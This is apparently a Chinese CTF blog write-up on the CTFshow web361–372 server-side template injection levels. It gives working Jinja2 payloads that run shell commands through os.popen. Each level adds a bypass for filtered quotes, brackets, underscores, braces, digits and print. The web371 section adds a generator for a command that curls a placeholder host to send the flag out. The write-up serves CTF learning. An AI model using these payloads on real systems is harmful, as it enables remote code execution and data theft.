[CTFshow] 模板注入

发布于 2021-10-06  153 次阅读


参考文章

学习SSTI https://xz.aliyun.com/t/6885

绕过姿势:https://blog.csdn.net/weixin_45696568/article/details/113625650?utm_term=ctfshowsstiweb%E5%85%A5%E9%97%A8&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113625650&spm=3001.4430

更骚的姿势:https://blog.csdn.net/miuzzx/article/details/110220425

web361-362

第一题没啥说的,ssti,传参点一般都是?name,直接上payload

?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

web362

?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
# 上面的payload 依然有用

web363

过滤了引号

# 直接用requests模块调用获取外部别的传参的值,达到绕过
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

web364

args 也被过滤,可以获取Cookie

?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

也可以使用python 自带的chr()函数的位置 对payload进行变形

# 首先判断chr() 函数的位置 , 使用bp进行爆破,状态码200 就是可用的
?name={{().__class__.__bases__[0].__subclasses__()[0].__init__.__globals__.__builtins__.chr}}
# 接下来使用chr()函数对payload进行变形
原始:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
变形:{{config.__class__.__init__.__globals__[chr(111)+bchr(115)].popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(108)+chr(97)+chr(103)).read()}}
# 构造完整的payload
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

web365

[]也被过滤了

绕过中括号过滤 可以用__getitem__pop代替,因为pop会破坏数组的结构,所以更推荐用__getitem__

(上面这句话是抄的)

因此上面两处payload可以变形为:

# 这是第一个payload
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

# 这是第二个payload
?name={%set+chr=().__class__.__base__.__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

web366-367

_也被过滤了,(该说不说,师傅们好厉害,好多方法我都想不到)

attr获取变量

""|attr("__class__")
相当于
"".__class__

因此payload可以变为:

?name={{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
# cookie 传参
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

web368

{{也被过滤了,真闹挺,现在这道题有点像Xman夏令营了

使用{%%}绕过,再借助print()回显

?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}

Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

web369

过滤了request

# yu师傅的payload
?name=
# 设置一个 po 变量 使用dict()|join 将其拼接为 po=pop 从而构造出pop
{% set po=dict(po=a,p=a)|join%}
# 设置一个 a 变量 使用()|select|string 获得“<generator object select_or_reject at 0x0000022717FF33C0>” 的字符串,然后 | list 转化为列表 | attr(po)(24) 相当于 pop(24) 也就是获取列表的第24位 也就是“_”因此 构造出 a 为 “_”
{% set a=(()|select|string|list)|attr(po)(24)%}
# 使用拼接 获得 ini = __init__
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
# 使用拼接 获得 glo = __globals__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
# 使用拼接 获得 geti = __getitem__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
# 使用拼接 获得 built = __builtins__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
# 使用拼接 获得 chr()
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
# 构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web370

又把数字过滤了,难难难,只能天天分析大师傅的payload

?name=
# count 计算字符重复出现的次数,因此 c=1 以此类推 有几个c是数字几
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
# 用~拼接 构造 coun=24
{% set coun=(cc~cccc)|int%}
# 剩下的就和上面的题一样了
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

web371

又多过滤了print

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}
# 构造反弹shell 因为没有回显

abc的内容,生成代码(yu师傅 yyds 真的发自内心的佩服)

def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))

web372

接着过滤了count,可以用length代替

可以用全角数字代替正常数字

半角数字转全角:

def half2full(half):  
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)